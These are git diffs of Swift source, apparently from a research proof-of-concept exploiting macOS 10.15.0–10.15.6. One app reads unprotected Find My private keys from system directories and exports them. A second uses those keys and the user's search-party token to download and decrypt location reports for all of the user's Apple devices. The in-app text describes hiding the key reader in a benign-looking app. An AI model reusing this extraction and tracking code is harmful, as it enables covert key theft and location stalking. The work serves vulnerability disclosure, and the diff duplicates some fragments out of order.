self.fileFormat = .catalina_10_15_4
}
// Detect zeros
let potentialZeros = keyFile[15..<31]
guard potentialZeros == Data(repeating: 0x00, count: 16) else {
throw ParsingError.wrongFormat
}
// Should be big sur
self.fileFormat = .catalina_10_15_4
fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] {
var keys = [FindMyKey]()
// First key starts at 32
var i = 32
while i + 117 < keyFile.count {
// We could not identify what those keys were
_ = keyFile.subdata(in: i..<i + 32)
i += 32
if keyFile[i] == 0x00 {
// Public key only.
// No need to parse it. Just skip to the next key
i += 86
continue
}
guard keyFile[i] == 0x01 else {
throw ParsingError.wrongFormat
}
// Step over 0x01
i += 1
// Read the key (starting with 0x04)
let fullKey = keyFile.subdata(in: i..<i + 85)
i += 85
// Create the sub keys. No actual need,
// but we do that to put them into a similar format as used before 10.15.4
let advertisedKey = fullKey.subdata(in: 1..<29)
let yCoordinate = fullKey.subdata(in: 29..<57)
var shaDigest = SHA256()
shaDigest.update(data: advertisedKey)
let hashedKey = Data(shaDigest.finalize())
let fmKey = FindMyKey(
advertisedKey: advertisedKey,
hashedKey: hashedKey,
privateKey: fullKey,
startTime: nil,
duration: nil,
pu: nil,
yCoordinate: yCoordinate,
fullKey: fullKey)
keys.append(fmKey)
}
fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] {
var keys = [FindMyKey]()
// First key starts at 32
var i = 32
return keys
}
while i + 117 < keyFile.count {
// We could not identify what those keys were
_ = keyFile.subdata(in: i..<i+32)
i += 32
if keyFile[i] == 0x00 {
// Public key only.
// No need to parse it. Just skip to the next key
i += 86
continue
}
guard keyFile[i] == 0x01 else {
throw ParsingError.wrongFormat
}
// Step over 0x01
i+=1
// Read the key (starting with 0x04)
let fullKey = keyFile.subdata(in: i..<i+85)
i += 85
// Create the sub keys. No actual need,
// but we do that to put them into a similar format as used before 10.15.4
let advertisedKey = fullKey.subdata(in: 1..<29)
let yCoordinate = fullKey.subdata(in: 29..<57)
var shaDigest = SHA256()
shaDigest.update(data: advertisedKey)
let hashedKey = Data(shaDigest.finalize())
let fmKey = FindMyKey(advertisedKey: advertisedKey,
hashedKey: hashedKey,
privateKey: fullKey,
startTime: nil,
duration: nil,
pu: nil,
yCoordinate: yCoordinate,
fullKey: fullKey)
keys.append(fmKey)
}
return keys
}
enum ParsingError: Error {
case wrongMagicBytes
case wrongFormat
case unsupportedFormat
}
enum ParsingError: Error {
case wrongMagicBytes
case wrongFormat
case unsupportedFormat
}
}

View File

@@ -9,191 +9,195 @@
// swiftlint:disable identifier_name
import Foundation
import CoreLocation
import Foundation
struct FindMyDevice: Codable, Hashable {
let deviceId: String
var keys = [FindMyKey]()
let deviceId: String
var keys = [FindMyKey]()
var catalinaBigSurKeyFiles: [Data]?
var catalinaBigSurKeyFiles: [Data]?
/// KeyHash: Report results
var reports: [FindMyReport]?
/// KeyHash: Report results
var reports: [FindMyReport]?
var decryptedReports: [FindMyLocationReport]?
var decryptedReports: [FindMyLocationReport]?
func hash(into hasher: inout Hasher) {
hasher.combine(deviceId)
}
func hash(into hasher: inout Hasher) {
hasher.combine(deviceId)
}
static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool {
lhs.deviceId == rhs.deviceId
}
static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool {
lhs.deviceId == rhs.deviceId
}
}
struct FindMyKey: Codable {
internal init(advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?, pu: Data?, yCoordinate: Data?, fullKey: Data?) {
self.advertisedKey = advertisedKey
self.hashedKey = hashedKey
// The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here
if privateKey.count == 85 {
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
} else {
self.privateKey = privateKey
}
self.startTime = startTime
self.duration = duration
self.pu = pu
self.yCoordinate = yCoordinate
self.fullKey = fullKey
internal init(
advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?,
pu: Data?, yCoordinate: Data?, fullKey: Data?
) {
self.advertisedKey = advertisedKey
self.hashedKey = hashedKey
// The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here
if privateKey.count == 85 {
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
} else {
self.privateKey = privateKey
}
init(from decoder: Decoder) throws {
let container = try decoder.container(keyedBy: CodingKeys.self)
self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
let privateKey = try container.decode(Data.self, forKey: .privateKey)
if privateKey.count == 85 {
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
} else {
self.privateKey = privateKey
}
self.startTime = startTime
self.duration = duration
self.pu = pu
self.yCoordinate = yCoordinate
self.fullKey = fullKey
}
self.startTime = try? container.decode(Date.self, forKey: .startTime)
self.duration = try? container.decode(Double.self, forKey: .duration)
self.pu = try? container.decode(Data.self, forKey: .pu)
self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
init(from decoder: Decoder) throws {
let container = try decoder.container(keyedBy: CodingKeys.self)
self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
let privateKey = try container.decode(Data.self, forKey: .privateKey)
if privateKey.count == 85 {
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
} else {
self.privateKey = privateKey
}
/// The advertising key
let advertisedKey: Data
/// Hashed advertisement key using SHA256
let hashedKey: Data
/// The private key from which the advertisement keys can be derived
let privateKey: Data
/// When this key was used to send out BLE advertisements
let startTime: Date?
/// Duration from start time how long the key has been used to send out BLE advertisements
let duration: Double?
/// ?
let pu: Data?
self.startTime = try? container.decode(Date.self, forKey: .startTime)
self.duration = try? container.decode(Double.self, forKey: .duration)
self.pu = try? container.decode(Data.self, forKey: .pu)
self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
}
/// As exported from Big Sur
let yCoordinate: Data?
/// As exported from BigSur
let fullKey: Data?
/// The advertising key
let advertisedKey: Data
/// Hashed advertisement key using SHA256
let hashedKey: Data
/// The private key from which the advertisement keys can be derived
let privateKey: Data
/// When this key was used to send out BLE advertisements
let startTime: Date?
/// Duration from start time how long the key has been used to send out BLE advertisements
let duration: Double?
/// ?
let pu: Data?
/// As exported from Big Sur
let yCoordinate: Data?
/// As exported from BigSur
let fullKey: Data?
}
struct FindMyReportResults: Codable {
let results: [FindMyReport]
let results: [FindMyReport]
}
struct FindMyReport: Codable {
let datePublished: Date
let payload: Data
let id: String
let statusCode: Int
let datePublished: Date
let payload: Data
let id: String
let statusCode: Int
let confidence: UInt8
let timestamp: Date
let confidence: UInt8
let timestamp: Date
enum CodingKeys: CodingKey {
case datePublished
case payload
case id
case statusCode
enum CodingKeys: CodingKey {
case datePublished
case payload
case id
case statusCode
}
init(from decoder: Decoder) throws {
let values = try decoder.container(keyedBy: CodingKeys.self)
let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
// Convert from milis to time interval
let dP = Date(timeIntervalSince1970: dateTimestamp / 1000)
let df = DateFormatter()
df.dateFormat = "YYYY-MM-dd"
if dP < df.date(from: "2020-01-01")! {
self.datePublished = Date(timeIntervalSince1970: dateTimestamp)
} else {
self.datePublished = dP
}
init(from decoder: Decoder) throws {
let values = try decoder.container(keyedBy: CodingKeys.self)
let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
// Convert from milis to time interval
let dP = Date(timeIntervalSince1970: dateTimestamp/1000)
let df = DateFormatter()
df.dateFormat = "YYYY-MM-dd"
self.statusCode = try values.decode(Int.self, forKey: .statusCode)
let payloadBase64 = try values.decode(String.self, forKey: .payload)
if dP < df.date(from: "2020-01-01")! {
self.datePublished = Date(timeIntervalSince1970: dateTimestamp)
} else {
self.datePublished = dP
}
guard let payload = Data(base64Encoded: payloadBase64) else {
throw DecodingError.dataCorruptedError(
forKey: CodingKeys.payload, in: values, debugDescription: "")
}
self.payload = payload
self.statusCode = try values.decode(Int.self, forKey: .statusCode)
let payloadBase64 = try values.decode(String.self, forKey: .payload)
guard let payload = Data(base64Encoded: payloadBase64) else {
throw DecodingError.dataCorruptedError(forKey: CodingKeys.payload, in: values, debugDescription: "")
}
self.payload = payload
var timestampData = payload.subdata(in: 0..<4)
let timestamp: Int32 = withUnsafeBytes(of: &timestampData) { (pointer) -> Int32 in
// Convert the endianness
pointer.load(as: Int32.self).bigEndian
}
// It's a cocoa time stamp (counting from 2001)
self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
self.confidence = payload[4]
self.id = try values.decode(String.self, forKey: .id)
var timestampData = payload.subdata(in: 0..<4)
let timestamp: Int32 = withUnsafeBytes(of: &timestampData) { (pointer) -> Int32 in
// Convert the endianness
pointer.load(as: Int32.self).bigEndian
}
func encode(to encoder: Encoder) throws {
var container = encoder.container(keyedBy: CodingKeys.self)
try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished)
try container.encode(self.payload.base64EncodedString(), forKey: .payload)
try container.encode(self.id, forKey: .id)
try container.encode(self.statusCode, forKey: .statusCode)
}
// It's a cocoa time stamp (counting from 2001)
self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
self.confidence = payload[4]
self.id = try values.decode(String.self, forKey: .id)
}
func encode(to encoder: Encoder) throws {
var container = encoder.container(keyedBy: CodingKeys.self)
try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished)
try container.encode(self.payload.base64EncodedString(), forKey: .payload)
try container.encode(self.id, forKey: .id)
try container.encode(self.statusCode, forKey: .statusCode)
}
}
struct FindMyLocationReport: Codable {
let latitude: Double
let longitude: Double
let accuracy: UInt8
let datePublished: Date
let timestamp: Date?
let confidence: UInt8?
let latitude: Double
let longitude: Double
let accuracy: UInt8
let datePublished: Date
let timestamp: Date?
let confidence: UInt8?
var location: CLLocation {
return CLLocation(latitude: latitude, longitude: longitude)
var location: CLLocation {
return CLLocation(latitude: latitude, longitude: longitude)
}
init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) {
self.latitude = lat
self.longitude = lng
self.accuracy = acc
self.datePublished = dP
self.timestamp = t
self.confidence = c
}
init(from decoder: Decoder) throws {
let values = try decoder.container(keyedBy: CodingKeys.self)
self.latitude = try values.decode(Double.self, forKey: .latitude)
self.longitude = try values.decode(Double.self, forKey: .longitude)
do {
let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
self.accuracy = uAcc
} catch {
let iAcc = try values.decode(Int8.self, forKey: .accuracy)
self.accuracy = UInt8(bitPattern: iAcc)
}
init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) {
self.latitude = lat
self.longitude = lng
self.accuracy = acc
self.datePublished = dP
self.timestamp = t
self.confidence = c
}
init(from decoder: Decoder) throws {
let values = try decoder.container(keyedBy: CodingKeys.self)
self.latitude = try values.decode(Double.self, forKey: .latitude)
self.longitude = try values.decode(Double.self, forKey: .longitude)
do {
let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
self.accuracy = uAcc
} catch {
let iAcc = try values.decode(Int8.self, forKey: .accuracy)
self.accuracy = UInt8(bitPattern: iAcc)
}
self.datePublished = try values.decode(Date.self, forKey: .datePublished)
self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
}
self.datePublished = try values.decode(Date.self, forKey: .datePublished)
self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
}
}
enum FindMyError: Error {
case decryptionError(description: String)
case decryptionError(description: String)
}

View File

@@ -7,19 +7,19 @@
// SPDX-License-Identifier: AGPL-3.0-only
//
import SwiftUI
import Cocoa
import MapKit
import SwiftUI
struct MapView: NSViewControllerRepresentable {
@Environment(\.findMyController) var findMyController
@Environment(\.findMyController) var findMyController
func makeNSViewController(context: Context) -> MapViewController {
return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
}
func makeNSViewController(context: Context) -> MapViewController {
return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
}
func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
nsViewController.addLocationsReports(from: findMyController.devices)
}
func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
nsViewController.addLocationsReports(from: findMyController.devices)
}
}

View File

@@ -11,43 +11,45 @@ import Cocoa
import MapKit
final class MapViewController: NSViewController, MKMapViewDelegate {
@IBOutlet weak var mapView: MKMapView!
var pinsShown = false
@IBOutlet weak var mapView: MKMapView!
var pinsShown = false
override func viewDidLoad() {
super.viewDidLoad()
self.mapView.delegate = self
override func viewDidLoad() {
super.viewDidLoad()
self.mapView.delegate = self
}
func addLocationsReports(from devices: [FindMyDevice]) {
if !self.mapView.annotations.isEmpty {
self.mapView.removeAnnotations(self.mapView.annotations)
}
func addLocationsReports(from devices: [FindMyDevice]) {
if !self.mapView.annotations.isEmpty {
self.mapView.removeAnnotations(self.mapView.annotations)
}
// Zoom to first location
if let location = devices.first?.decryptedReports?.first {
let coordinate = CLLocationCoordinate2D(latitude: location.latitude, longitude: location.longitude)
let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
let region = MKCoordinateRegion(center: coordinate, span: span)
self.mapView.setRegion(region, animated: true)
}
// Add pins
for device in devices {
guard let reports = device.decryptedReports else {continue}
for report in reports {
let pin = MKPointAnnotation()
pin.title = device.deviceId
pin.coordinate = CLLocationCoordinate2D(latitude: report.latitude, longitude: report.longitude)
self.mapView.addAnnotation(pin)
}
}
// Zoom to first location
if let location = devices.first?.decryptedReports?.first {
let coordinate = CLLocationCoordinate2D(
latitude: location.latitude, longitude: location.longitude)
let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
let region = MKCoordinateRegion(center: coordinate, span: span)
self.mapView.setRegion(region, animated: true)
}
func changeMapType(_ mapType: MKMapType) {
self.mapView.mapType = mapType
// Add pins
for device in devices {
guard let reports = device.decryptedReports else { continue }
for report in reports {
let pin = MKPointAnnotation()
pin.title = device.deviceId
pin.coordinate = CLLocationCoordinate2D(
latitude: report.latitude, longitude: report.longitude)
self.mapView.addAnnotation(pin)
}
}
}
func changeMapType(_ mapType: MKMapType) {
self.mapView.mapType = mapType
}
}

View File

@@ -11,188 +11,200 @@ import SwiftUI
struct OFFetchReportsMainView: View {
@Environment(\.findMyController) var findMyController
@Environment(\.findMyController) var findMyController
@State var targetedDrop: Bool = false
@State var error: Error?
@State var showMap = false
@State var loading = false
@State var targetedDrop: Bool = false
@State var error: Error?
@State var showMap = false
@State var loading = false
@State var searchPartyToken: Data?
@State var searchPartyTokenString: String = ""
@State var keyPlistFile: Data?
@State var searchPartyToken: Data?
@State var searchPartyTokenString: String = ""
@State var keyPlistFile: Data?
@State var showTokenPrompt = false
@State var showTokenPrompt = false
var dropView: some View {
ZStack(alignment: .center) {
HStack {
Spacer()
Spacer()
}
var dropView: some View {
ZStack(alignment: .center) {
HStack {
Spacer()
Spacer()
}
VStack {
Spacer()
Text("Drop exported keys here")
.font(Font.system(size: 44, weight: .bold, design: .default))
.padding()
VStack {
Spacer()
Text("Drop exported keys here")
.font(Font.system(size: 44, weight: .bold, design: .default))
.padding()
Text("The keys can be exported into the right format using the Read FindMy Keys App.")
.font(.body)
.multilineTextAlignment(.center)
.padding()
Text("The keys can be exported into the right format using the Read FindMy Keys App.")
.font(.body)
.multilineTextAlignment(.center)
.padding()
Spacer()
}
}
.background(
RoundedRectangle(cornerRadius: 20.0)
.stroke(Color.gray, style: StrokeStyle(lineWidth: 5.0, lineCap: .round, lineJoin: .round, miterLimit: 10, dash: [15]))
)
Spacer()
}
}
.background(
RoundedRectangle(cornerRadius: 20.0)
.stroke(
Color.gray,
style: StrokeStyle(
lineWidth: 5.0, lineCap: .round, lineJoin: .round, miterLimit: 10, dash: [15]))
)
.padding()
.onDrop(of: ["public.file-url"], isTargeted: self.$targetedDrop) { (droppedData) -> Bool in
return self.droppedData(data: droppedData)
}
}
var loadingView: some View {
VStack {
Text("Downloading locations and decrypting...")
.font(Font.system(size: 44, weight: .bold, design: .default))
.padding()
.onDrop(of: ["public.file-url"], isTargeted: self.$targetedDrop) { (droppedData) -> Bool in
return self.droppedData(data: droppedData)
}
}
}
var loadingView: some View {
VStack {
Text("Downloading locations and decrypting...")
.font(Font.system(size: 44, weight: .bold, design: .default))
.padding()
}
}
/// This view is shown if the search party token cannot be accessed from keychain
var missingSearchPartyTokenView: some View {
VStack {
Text("Search Party token could not be fetched")
Text("Please paste the search party token below after copying it from the macOS Keychain.")
Text("The item that contains the key can be found by searching for: ")
Text("com.apple.account.DeviceLocator.search-party-token")
.font(.system(Font.TextStyle.body, design: Font.Design.monospaced))
/// This view is shown if the search party token cannot be accessed from keychain
var missingSearchPartyTokenView: some View {
VStack {
Text("Search Party token could not be fetched")
Text("Please paste the search party token below after copying it from the macOS Keychain.")
Text("The item that contains the key can be found by searching for: ")
Text("com.apple.account.DeviceLocator.search-party-token")
.font(.system(Font.TextStyle.body, design: Font.Design.monospaced))
TextField("Search Party Token", text: self.$searchPartyTokenString)
Button(action: {
if !self.searchPartyTokenString.isEmpty,
let file = self.keyPlistFile,
let searchPartyToken = self.searchPartyTokenString.data(using: .utf8) {
self.searchPartyToken = searchPartyToken
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
}
}, label: {
Text("Download reports")
})
}
}
var mapView: some View {
ZStack {
MapView()
VStack {
HStack {
Spacer()
Button(action: {
self.showMap = false
self.showTokenPrompt = false
}, label: {
Text("Import other tokens")
})
Button(action: {
self.exportDecryptedLocations()
}, label: {
Text("Export")
})
}
.padding()
Spacer()
}
}
}
var body: some View {
GeometryReader { geo in
if self.loading {
self.loadingView
} else if self.showMap {
self.mapView
} else if self.showTokenPrompt {
self.missingSearchPartyTokenView
} else {
self.dropView
.frame(width: geo.size.width, height: geo.size.height)
}
}
}
// swiftlint:disable identifier_name
func droppedData(data: [NSItemProvider]) -> Bool {
guard let itemProvider = data.first else {return false}
itemProvider.loadItem(forTypeIdentifier: "public.file-url", options: nil) { (u, _) in
guard let urlData = u as? Data,
let fileURL = URL(dataRepresentation: urlData, relativeTo: nil),
// Only plist supported
fileURL.pathExtension == "plist",
// Load the file
let file = try? Data(contentsOf: fileURL)
else {return}
print("Received data \(fileURL)")
self.keyPlistFile = file
let reportsFetcher = ReportsFetcher()
self.searchPartyToken = reportsFetcher.fetchSearchpartyToken()
if let searchPartyToken = self.searchPartyToken {
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
} else {
self.showTokenPrompt = true
}
}
return true
}
func downloadAndDecryptLocations(with keyFile: Data, searchPartyToken: Data) {
self.loading = true
self.findMyController.loadPrivateKeys(from: keyFile, with: searchPartyToken, completion: { error in
// Check if an error occurred
guard error == nil else {
self.error = error
return
}
// Show map view
self.loading = false
self.showMap = true
TextField("Search Party Token", text: self.$searchPartyTokenString)
Button(
action: {
if !self.searchPartyTokenString.isEmpty,
let file = self.keyPlistFile,
let searchPartyToken = self.searchPartyTokenString.data(using: .utf8)
{
self.searchPartyToken = searchPartyToken
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
}
},
label: {
Text("Download reports")
})
}
}
func exportDecryptedLocations() {
do {
let devices = self.findMyController.devices
let deviceData = try PropertyListEncoder().encode(devices)
var mapView: some View {
ZStack {
MapView()
VStack {
HStack {
Spacer()
Button(
action: {
self.showMap = false
self.showTokenPrompt = false
},
label: {
Text("Import other tokens")
})
SavePanel().saveFile(file: deviceData, fileExtension: "plist")
Button(
action: {
self.exportDecryptedLocations()
},
label: {
Text("Export")
})
} catch {
print("Error: \(error)")
}
.padding()
Spacer()
}
}
}
var body: some View {
GeometryReader { geo in
if self.loading {
self.loadingView
} else if self.showMap {
self.mapView
} else if self.showTokenPrompt {
self.missingSearchPartyTokenView
} else {
self.dropView
.frame(width: geo.size.width, height: geo.size.height)
}
}
}
// swiftlint:disable identifier_name
func droppedData(data: [NSItemProvider]) -> Bool {
guard let itemProvider = data.first else { return false }
itemProvider.loadItem(forTypeIdentifier: "public.file-url", options: nil) { (u, _) in
guard let urlData = u as? Data,
let fileURL = URL(dataRepresentation: urlData, relativeTo: nil),
// Only plist supported
fileURL.pathExtension == "plist",
// Load the file
let file = try? Data(contentsOf: fileURL)
else { return }
print("Received data \(fileURL)")
self.keyPlistFile = file
let reportsFetcher = ReportsFetcher()
self.searchPartyToken = reportsFetcher.fetchSearchpartyToken()
if let searchPartyToken = self.searchPartyToken {
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
} else {
self.showTokenPrompt = true
}
}
return true
}
func downloadAndDecryptLocations(with keyFile: Data, searchPartyToken: Data) {
self.loading = true
self.findMyController.loadPrivateKeys(
from: keyFile, with: searchPartyToken,
completion: { error in
// Check if an error occurred
guard error == nil else {
self.error = error
return
}
// Show map view
self.loading = false
self.showMap = true
})
}
func exportDecryptedLocations() {
do {
let devices = self.findMyController.devices
let deviceData = try PropertyListEncoder().encode(devices)
SavePanel().saveFile(file: deviceData, fileExtension: "plist")
} catch {
print("Error: \(error)")
}
}
}
struct ContentView_Previews: PreviewProvider {
static var previews: some View {
OFFetchReportsMainView()
}
static var previews: some View {
OFFetchReportsMainView()
}
}

View File

@@ -7,43 +7,44 @@
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
import AppKit
import Foundation
class SavePanel: NSObject, NSOpenSavePanelDelegate {
static let shared = SavePanel()
static let shared = SavePanel()
var fileToSave: Data?
var fileExtension: String?
var panel: NSSavePanel?
var fileToSave: Data?
var fileExtension: String?
var panel: NSSavePanel?
func saveFile(file: Data, fileExtension: String) {
self.fileToSave = file
self.fileExtension = fileExtension
func saveFile(file: Data, fileExtension: String) {
self.fileToSave = file
self.fileExtension = fileExtension
self.panel = NSSavePanel()
self.panel?.delegate = self
self.panel?.title = "Export Find My Locations"
self.panel?.prompt = "Export"
self.panel?.nameFieldLabel = "Find My Locations"
self.panel?.nameFieldStringValue = "findMyLocations.plist"
self.panel?.allowedFileTypes = ["plist"]
self.panel = NSSavePanel()
self.panel?.delegate = self
self.panel?.title = "Export Find My Locations"
self.panel?.prompt = "Export"
self.panel?.nameFieldLabel = "Find My Locations"
self.panel?.nameFieldStringValue = "findMyLocations.plist"
self.panel?.allowedFileTypes = ["plist"]
let result = self.panel?.runModal()
if result == NSApplication.ModalResponse.OK {
// Save file
let fileURL = self.panel?.url
try! self.fileToSave?.write(to: fileURL!)
}
let result = self.panel?.runModal()
if result == NSApplication.ModalResponse.OK {
// Save file
let fileURL = self.panel?.url
try! self.fileToSave?.write(to: fileURL!)
}
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? {
guard okFlag else {return nil}
}
return filename
}
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
{
guard okFlag else { return nil }
return filename
}
}

View File

@@ -8,34 +8,34 @@
//
import Cocoa
import SwiftUI
import CoreLocation
import SwiftUI
@NSApplicationMain
class AppDelegate: NSObject, NSApplicationDelegate {
var window: NSWindow!
var window: NSWindow!
func applicationDidFinishLaunching(_ aNotification: Notification) {
// Create the SwiftUI view that provides the window contents.
let contentView = ContentView()
func applicationDidFinishLaunching(_ aNotification: Notification) {
// Create the SwiftUI view that provides the window contents.
let contentView = ContentView()
// Create the window and set the content view.
window = NSWindow(
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
backing: .buffered, defer: false)
window.center()
window.setFrameAutosaveName("Main Window")
window.contentView = NSHostingView(rootView: contentView)
window.makeKeyAndOrderFront(nil)
}
// Create the window and set the content view.
window = NSWindow(
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
backing: .buffered, defer: false)
window.center()
window.setFrameAutosaveName("Main Window")
window.contentView = NSHostingView(rootView: contentView)
window.makeKeyAndOrderFront(nil)
}
func applicationWillTerminate(_ aNotification: Notification) {
// Insert code here to tear down your application
}
func applicationWillTerminate(_ aNotification: Notification) {
// Insert code here to tear down your application
}
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
return true
}
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
return true
}
}

View File

@@ -7,84 +7,89 @@
// SPDX-License-Identifier: AGPL-3.0-only
//
import SwiftUI
import OSLog
import SwiftUI
struct ContentView: View {
@State var keysInfo: String?
@State var keysInfo: String?
var body: some View {
ZStack {
VStack {
Spacer()
var body: some View {
ZStack {
VStack {
Spacer()
self.infoText
.padding()
self.infoText
.padding()
Button(action: {
self.readPrivateKeys()
}, label: {
Text("Read private offline finding keys")
.font(.headline)
.foregroundColor(Color.black)
.padding()
.background(
RoundedRectangle(cornerRadius: 7.0)
.fill(Color(white: 7.0).opacity(0.7))
.shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
)
Button(
action: {
self.readPrivateKeys()
},
label: {
Text("Read private offline finding keys")
.font(.headline)
.foregroundColor(Color.black)
.padding()
.background(
RoundedRectangle(cornerRadius: 7.0)
.fill(Color(white: 7.0).opacity(0.7))
.shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
)
})
.buttonStyle(PlainButtonStyle())
self.keysInfo.map { (keysInfo) in
Text(keysInfo)
.padding()
}
Spacer()
}
}
)
.buttonStyle(PlainButtonStyle())
self.keysInfo.map { (keysInfo) in
Text(keysInfo)
.padding()
}
.frame(width: 800, height: 600)
Spacer()
}
}
.frame(width: 800, height: 600)
var infoText: some View {
// swiftlint:disable line_length
Text("This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of") +
Text(" all ").bold() +
Text("Apple devices of the current user.\n\n") +
Text("To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user.")
// swiftlint:enable line_length
}
var infoText: some View {
// swiftlint:disable line_length
Text(
"This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of"
) + Text(" all ").bold() + Text("Apple devices of the current user.\n\n")
+ Text(
"To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user."
)
// swiftlint:enable line_length
}
func readPrivateKeys() {
do {
let devices = try FindMyKeyExtractor.readPrivateKeys()
let numberOfKeys = devices.reduce(0, { $0 + $1.keys.count })
self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
self.saveExportedKeys(keys: devices)
} catch {
os_log(.error, "Could not load keys %@", error.localizedDescription)
}
}
func readPrivateKeys() {
do {
let devices = try FindMyKeyExtractor.readPrivateKeys()
let numberOfKeys = devices.reduce(0, {$0 + $1.keys.count})
self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
self.saveExportedKeys(keys: devices)
} catch {
os_log(.error, "Could not load keys %@", error.localizedDescription)
}
}
func saveExportedKeys(keys: [FindMyDevice]) {
do {
let keysPlist = try PropertyListEncoder().encode(keys)
SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
} catch {
os_log(.error, "Property list encoding failed %@", error.localizedDescription)
}
func saveExportedKeys(keys: [FindMyDevice]) {
do {
let keysPlist = try PropertyListEncoder().encode(keys)
SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
} catch {
os_log(.error, "Property list encoding failed %@", error.localizedDescription)
}
}
}
struct ContentView_Previews: PreviewProvider {
static var previews: some View {
ContentView()
}
static var previews: some View {
ContentView()
}
}

View File

@@ -7,219 +7,227 @@
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
import CryptoKit
import Foundation
import OSLog
struct FindMyKeyExtractor {
// swiftlint:disable identifier_name
// swiftlint:disable identifier_name
/// This function reads the private keys of the Offline Finding Location system. They will
/// - Throws: Error when accessing files fails
/// - Returns: Devices and their respective keys
static func readPrivateKeys() throws -> [FindMyDevice] {
var devices = [FindMyDevice]()
os_log(.debug, "Looking for keys")
/// This function reads the private keys of the Offline Finding Location system. They will
/// - Throws: Error when accessing files fails
/// - Returns: Devices and their respective keys
static func readPrivateKeys() throws -> [FindMyDevice] {
var devices = [FindMyDevice]()
os_log(.debug, "Looking for keys")
do {
// The key files have moved with macOS 10.15.4
let macOS10_15_3Devices = try self.readFromOldLocation()
devices.append(contentsOf: macOS10_15_3Devices)
} catch {
os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
}
do {
// Tries to discover the new location of the keys
let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
devices.append(contentsOf: macOS10_15_4Devices)
} catch {
os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
}
return devices
}
// MARK: - macOS 10.15.0 - 10.15.3
/// Reads the find my keys from the location used until macOS 10.15.3
/// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
/// - Returns: An array of find my devices including their keys
static func readFromOldLocation() throws -> [FindMyDevice] {
// Access the find my directory where the private advertisement keys are stored unencrypted
let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
let fm = FileManager.default
